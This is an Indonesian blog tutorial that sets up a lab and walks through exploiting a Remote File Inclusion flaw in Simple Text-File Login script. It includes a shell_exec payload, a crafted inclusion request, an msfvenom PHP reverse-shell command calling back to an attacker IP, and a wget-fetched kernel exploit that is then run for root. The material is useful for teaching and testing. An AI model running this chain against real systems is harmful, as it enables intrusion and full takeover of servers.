Daftar Isi
- Latar Belakang
- Mempersiapkan Laboratorium
- Mendeteksi Kerentanan Remote File Inclusion
- Mengeksploitasi Kerentanan Remote File Inclusion
- Eskalasi Hak Akses
- Selanjutnya
Latar Belakang
Remote File Inclusion (RFI) adalah kerentanan pada aplikasi dimana attacker dapat menginstruksikan aplikasi agar menyertakan file yang tersimpan di luar sistem untuk menjadi bagian dari proses eksekusi. Dalam kata lain, attacker menyiapkan program tambahan yang tersimpan diluar sistem target dan kemudian menginstruksikan aplikasi target untuk mengeksekusi program tersebut. Berikut ini ilustrasi exploitasi kerentanan RFI
Sama seperti kerentanan Local File Inclusion (LFI), RFI ini muncul karena fungsi “include” pada aplikasi dapat dimanipulasi oleh pengguna/users melalui Input. Hal ini sebenarnya tidak akan menimbulkan permasalahan apabila input yang berasal dari pengguna dapat difilter atau disanitasi sebelum fungsi “include” memprosesnya.
File Inclusion juga dapat terjadi pada fungsi aplikasi yang memproses file berdasarkan nama file yang diberikan oleh pengguna. Hal ini juga biasa disebut dengan kerentanan File path traversal. Input yang diberikan oleh pengguna bisa menggunakan link pada url atau melalui input box.
Dalam artikel ini, saya akan membahas proses exploitasi kerentanan RFI pada aplikasi simple text file login. Aplikasi ini rentan terhadap RFI seperti yang telah dilaporkan dan dijelaskan oleh exploit-db di http://www.exploit-db.com/exploits/7444/
Setelah mengexploitasi RFI dan mendapatkan akses ke shell atau command-line, kita akan melakukan eskalasi hak akses dengan cara mengexploitasi kerentanan lain yang ada di Sistem Operasi tersebut.
Mempersiapkan Laboratorium
Sebelum kita membahas bagaimana mendeteksi dan kemudian mengekploitasi RFI, kita akan terlebih dahulu mempersiapkan system yang akan digunakan untuk percobaan ini. Perlu diketahui bahwa kombinasi system yang saya jabarkan dalam artikel ini bukanlah kombinasi yang mutlak untuk dapat mengexploitasi RFI. Teman-teman dapat menggunakan aplikasi, Sistem Operasi dan tools lainnya untuk mencoba karena secara konsep tidak akan jauh berbeda. Namun demikian, perlu dipastikan aplikasi tersebut memiliki kerentanan RFI.
Sistem operasi yang akan kita gunakan adalah Ubuntu 10.04.4 karena OS ini rentan terhadap privilege escalation. Ikuti langkah berikut untuk mempersiapkan
System Operasi (OS):
1.Download Ubuntu 10.0.4 di http://old-releases.ubuntu.com/releases/10.04.3/ubuntu-10.04.4-desktop-i386.iso
2.Install Ubuntu di Virtual Machine
3.Install Apache dan PHP dengan mengetik perintah berikut
sudo apt-get install apache2 php5 libapache2-mod-php5
4.Ubah parameter allow_url_include = On dan allow_url_fopen = On di file /etc/php5/apache2/php.ini dengan menggunakan nano text editor. Ketik perintah berikut untuk mengedit file tersebut
sudo nano /etc/php5/apache2/php.ini
5.Start apache web server dengan mengetik
sudo service apache2 start
dan kemudian pastikan web server berjalan dengan baik dengan mengakses http://alamat-ip-ubuntu dari kali linux
Aplikasi
1.Download aplikasi Simple Text-File Login script 1.0.6 di http://www.hotscripts.com/listings/jump/download/36777
2.Buat folder admin di /var/www dan kemudian ganti owner folder tersebut ke akun www-data.
sudo mkdir /var/www/admin
sudo chown -R www-data:www-data /var/www/admin
3.Extract aplikasi Simple Text-File Login Script dan kemudian simpan di filder /var/www/admin
4.Test aplikasi dengan mengetik alamat http://alamat-ip-ubuntu/admin di browser
Mendeteksi Kerentanan Remote File Inclusion
Terdapat beberapa metode untuk mendeteksi kerentanan Remote File Inclusion (RFI). Namun dari sekian metode yang saya ketahui, belum ada metode tunggal yang dapat mendeteksi keberadaan kerentanan ini secara menyeluruh dan akurat. Bagi saya, mencoba memahami alur kerja aplikasi akan sangat membantu dalam mendeteksi RFI. Misalnya, kita menemukan parameter yang berisi nama file pada bagian dari POST atau GET request (contoh: dalam message body POST request, terdapat parameter berikut: result=http://www.suatu-server.com/hitung.php). Namun demikian, hal ini juga belum tentu bisa diekploitasi.
Disamping itu, perlu diketahui bahwa ketiadaan parameter yang meng-include remote file juga tidak menjamin aplikasi tersebut bebas dari kerentanan RFI. Terdapat beberapa kasus dimana RFI ditemukan pada bagian fungsi internal aplikasi sehingga hanya bisa terdeteksi dengan membaca source code nya.
Dalam kesempatan ini, kita akan membahas RFI pada aplikasi simple text-file login script dimana kerentanan tersebut pertama kali terdeteksi oleh seseorang saat meninjau/review source code aplikasi tersebut. Temuan ini kemudian dipublikasikan di exploit-db agar dapat diketahui oleh pihak yang berkepentingan seperti kita.
Berikut ini proses untuk mendeteksi kerentanan RFI pada aplikasi simple text-file login.
i.Mengidentifikasi jenis aplikasi
Hal utama yang harus dilakukan terlebih dahulu adalah mengidentifikasi jenis aplikasi yang menjadi target. Memiliki Informasi sebanyak mungkin akan meningkatkan peluang kita untuk menemukan kerentanan atau kelemahan pada aplikasi. Sebagai contoh, setelah mengetahui bahwa target menggunakan aplikasi Simple text file login, kita kemudian memanfaatkan google untuk mencari apakah ada publikasi yang menjelaskan tentang kerentanan pada aplikasi tersebut. Alternatif berikutnya untuk mendeteksi kerentanan adalah dengan melakukan source code review dan tentu ini tidak menjadi pilihan utama karena proses yang akan menyita banyak waktu.
Berikut ini salah satu cara untuk mengidentifikasi jenis aplikasi:
1.Jalankan burpsuite dari kali linux (mesin attacker). Pastikan proxy option meng-intercept client request dan server response 2.Buka iceweasel (browser) di kali linux kemudian pastikan proxy setting mengarah ke localhost dengan port 8080 3.Akses aplikasi melalui iceweasel dengan mengetik alamat IP target http://target-ip/admin dan pastikan forward seluruh request dan response 4.Setelah itu, masukan username dan password (tidak harus yang valid) untuk melihat request dan response data 5.Perhatikan hasil yang tampil di burp suite target –> site map –> index.php –>slogin_POST….
6.Lakukan pencarian di google dengan keyword slogin_post_username untuk mengetahui jenis aplikasi apa yang dijalankan oleh target. Berikut hasil yang diberikan oleh google
7.Bisa diketahui bahwa target menjalankan aplikasi Simple Text-File Login script
ii.Mencari kerentanan pada aplikasi
Langkah berikutnya adalah mencari Informasi tentang ada atau tidaknya kerentanan pada aplikasi tersebut. Biasanya, kerentanan yang ditemukan pada suatu aplikasi dipublikasikan di Internet melalui beberapa situs kerentanan seperti exploit-db.com. Untuk itu, kita mencoba mencari keberuntungan apakah ada yang mempublikasikan kerentanan pada aplikasi Simple Text-File Login script.
Untuk itu, kita akan menggunakan google dengan keyword “Simple Text-File Login script exploit”. Berikut hasil menelusuran google
dari hasil diatas, bisa kita simpulkan bahwa aplikasi simple Text-File Login memiliki kerentanan Remote File Inclusion
iii.Memvalidasi kerentanan
Langkah selanjutnya adalah memvalidasi kerentanan yang dijelaskan oleh situs exploit-db.com. Berikut ini penjelasan yang ada di exploit-db.com
Dari penjelasan diatas, file yang rentan terhadap RFI adalah slogin_lib.inc.php yang tersimpan di lokasi root aplikasi yaitu di http://target-ip/admin/. Kemudian, artikel tersebut juga menjelaskan cara eksploitasinya yaitu dengan menentukan path remote file yang kita inginkan untuk dieksekusi oleh target ke parameter slogin_path.
Untuk itu, kita akan coba validasi kerentanan ini dengan langkah berikut:
1.Hidupkan service apache2 di kali linux (mesin attacker). Pastikan alamat IP kali linux dapat diakses oleh target. Sebagai contoh, alamat IP kali linux saya adalah 172.16.192.149
2.Buat file baru bernama coba (tanpa diikuti dengan extention php karena kita ingin isi file tersebut dieksekusi oleh target dan bukan oleh engine php yang ada di kali linux (mesin attacker). Isi file coba cukup sederhana yaitu memerintahkan target untuk mengeksekusi perintah uname -a. berikut isi file coba.
<?php
$result = shell_exec('uname -a');
print "<pre>$result</pre>";
?>
3.Kembali ke window burpsuite di kali linux atau jalankan burpsuite dan kemudian akses kembali aplikasi apabila burpsuite telah ditutup. Pilih target –> sitemap –> dibawah admin, klik kanan item “/” dan kemudian pilih –> send to repeater
4.Klik tab repeater dan kemudian klik “go” untuk memastikan request dapat diproses oleh aplikasi dengan memberikan response sesuai dengan yang kita lihat pada browser seperti dibawah ini
5.Setelah itu, edit GET request di repeater sesuai dengan petunjuk exploit yang telah dijelaskan sebelumnya yaitu dengan memanggil file slogin_lib.inc.php dan kemudian menyisipkan path file yang kita inginkan untuk dieksekusi oleh target melalui parameter slogin_path. Dalam contoh ini, alamat IP target adalah 172.16.192.151 sementara alamat IP kali linux (mesin attacker) yang menyimpan file coba adalah 172.16.192.149. Melalui repeater di kali linux (attacker), berikut ini GET request yang dimodifikasi:
GET /admin/slogin_lib.inc.php/?slogin_path=http://172.16.192.149/coba%20
Singkatnya, GET request diatasi mencoba mengakses file slogin_lib.inc.php dan kemudian memberikan input ke parameter slogin_path berupa path file bernama “coba” yang berada di kali linux (attacker). %20 diakhir coba adalah karaketer “space” untuk memastikan nama file yang akan direquest oleh target tidak ditambahkan dengan nama file yang telah didefinisikan di slogin_lib.inc.php. Kegunaan %20 dapat kita lihat pada log access apache di kali linux (attacker)
Berikut GET request pada repeater yang telah dimodifikasi
berikut response atau hasil yang diproses oleh aplikasi
BOOMMM!!!!!,,,,aplikasi mengeksekusi perintah attacker yaitu menampilkan Informasi tentang versi Sistem Operasi yang digunakan oleh aplikasi. Berikut ini tampilan apabila kita mengirim request ke aplikasi melalui browser
Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.
Mengeksploitasi Kerentanan Remote File Inclusion
Sekarang kita memasuki bagian yang paling menyenangkan yaitu mengambil-alih target sistem secara penuh. Seperti yang kita ketahui dari kegiatan sebelumnya, target akan mengeksekusi perintah yang ada di dalam file yang tersimpan di sistem kita (attacker).
Dengan demikian, kita akan memanfaatkan ini untuk mendapatkan shell (command-prompt) dari target dengan cara menempatkan program shell di kali linux kita (attacker) dan kemudian menginstruksikan aplikasi target untuk mengunduh dan kemudian mengeksekusinya.
Dalam kesempatan ini, kita akan menggunakan program reverse meterpreter yaitu program shell/meterpreter yang diinisiasi atau yang dimulai oleh target. Program reverse meterpreter tentunya harus dibuat menggunakan PHP karena aplikasi target hanya akan memproses file include yang menggunakan bahasa yang sama yaitu PHP.
Berikut ini proses eksploitasi RFI
i.Membuat reverse meterpreter & menyimpannya di Kali Linux
Kali ini, kita akan membuat program reverse meterpreter di Kali Linux agar tersedia untuk diunduh dan dieksekusi oleh target. Karena kita telah mengetahui bahwa target menjalankan aplikasi berbasis PHP, maka program reverse meterpreter akan dibuat dalam bahasa PHP. Apabila tidak, aplikasi target tidak akan bisa mengeksekusi perintah yang tersimpan dalam file yang diunduhnya dari mesin attacker.
Berikut ini cara membuat reverse meterpreter
a.Navigasi ke folder /var/www
b.Karena yang ingin kita buat adalah reverse meterpreter, maka kita membutuhkan alamat IP kali linux (attacker) yang akan dituju oleh target. Dalam hal ini, alamat kali linux saya adalah 172.16.192.149. Ketik perintah berikut untuk membuat reverse meterpreter
msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.192.149 lport=3333 -o myrevmeterpreter
c.Ketik ls -l untuk memastikan file myrevmeterpreter telah berhasil dibuat
d.Pastikan kembali bahwa apache2 service telah di start dengan mengetik “service apache2 start”
ii.Menghidupkan listener untuk meterpreter di kali linux
Langkah selanjutnya adalah membuat listener agar koneks reverse meterpreter yang akan dijalankan oleh target dapat diterima. Untuk itu kita akan menggunakan multi handler metasploit.
Lakukan langkah berikut untuk mengaktifkan multi handler di metasploit
1.jalankan service postgresql dan metasploit
service postgresql start
service metasploit start
2.Buka metasploit dengan perintah “msfconsole”
3.Setelah mendapatkan metasploit command, ketik perintah berikut ini untuk menjalankan listener meterpreter
4.Periksa kembali konfigurasi diatas dengan “show options”
5.Jalankan multi handler dengan mengetik “exploit”
iii.Menginstruksikan aplikasi target untuk mengeksekusi program reverse meterpreter yang ada di Kali Linux
Tiba saatnya kita menginstruksikan target untuk mengeksekusi reverse meterpreter dengan mengeksploitasi kerentanan RFI. Lakukan langkah berikut
1.Kembali ke burpsuite –> repeater dan kemudian ubah GET request sebelumnya agar target aplikasi meng-include file revmeterpreter
2.Klik go untuk meneruskan GET reqeuest
3.Boom !!!!!! lihat window metasploit, koneksi reverse meterpreter dari target telah terbentuk. Ketik “shell” untuk mengeksekusi shell dan berinteraksi dengan Sistem Operasi yang digunakan oleh Target.
Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.
Eskalasi Hak Akses:
Shell target yang kita dapatkan diatas masih berjalan dalam konteks akun biasa yaitu akun www-data. Akun ini digunakan oleh target untuk menjalankan layanan (service) apache. kalau kita perhatikan, akun ini bukan merupakan bagian dari group root sehingga membatasi kita untuk melakukan segala hal terhadap target.
Tentu, hal yang lebih menarik adalah mendapatkan hak akses setinggi root atau superuser sehingga kita benar-benar bisa mengontrol target secara penuh. Untuk itu, kita akan mengexploitasi target lebih jauh agar bisa memberikan kita hak akses ini.
Sebelum kita mulai mengexploitasi, perhatikan versi linux kernel yang digunakan oleh target yaitu linux kernel 2.6.32-24. Informasi ini kita dapatkan saat memvalidasi kerentanan RFI.
Hasil penelusuran google, linux kernel yang lebih rendah dari 2.6.37 memiliki kerentanan yang dapat dimanfaatkan untuk meningkatkan hak akses.
Informasi lengkap mengenai peningkatan hak akses ini dapat dilihat di http://www.exploit-db.com/exploits/15704/
Sebelum kita mulai, unduh exploit terlebih dahulu dari link diatas dan kemudian ikuti proses berikut:
i.Setelah exploit kita unduh dari exploit-db.com, langkah selanjutnya adalah mengupload exploit tersebut ke mesin target. Salah satu cara yang bisa digunakan adalah memanfaatkan akses shell di mesin target yang telah kita dapatkan sebelumnya. Dari shell tersebut, kita akan menjalankan “wget” untuk mengambil file exploit dari mesin kali linux (attacker).
Ikuti langkah berikut:
a.Simpan file exploit yang diunduh dari exploit-db.com ke folder /var/www di kali linux (mesin attacker)
b.Melalui shell target yang telah kita dapatkan, pindah ke direktory /tmp dan kemudian eksekusi wget ke kali linux (mesin attacker) untuk mengunduh file exploit yang dibutuhkan.
cd /tmp
/usr/bin/wget http://172.16.192.149/15704.c -O 15704.c
c.Lihat akun dan group yang didapatkan dengan mengetik “id”
d.Compile exploit dengan terlebih dahulu mencari gcc
e.Jalankan exploit kemudian ketik kembali “id” untuk melihat akun dan group yang didapat. Boommm!!!!!! sekarang kita mendapatkan root
Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.
Selanjutnya
Dalam ilustrasi diatas, kita menggunakan exploit yang ditemukan oleh Nelson Elhage untuk meningkatkan hak akses ke root. Namun demikian, terdapat beberapa local exploit yang juga dapat dimanfaatkan untuk mengeskalasi hak akses ini seperti yang ditemukan oleh Tommi Rantala. Berikut link nya http://www.securityfocus.com/bid/59846/info . Saya belum pernah mencoba exploit ini namun saya kira ini akan berjalan dengan baik
Selamat mencoba dan semoga artikel ini bermanfaat.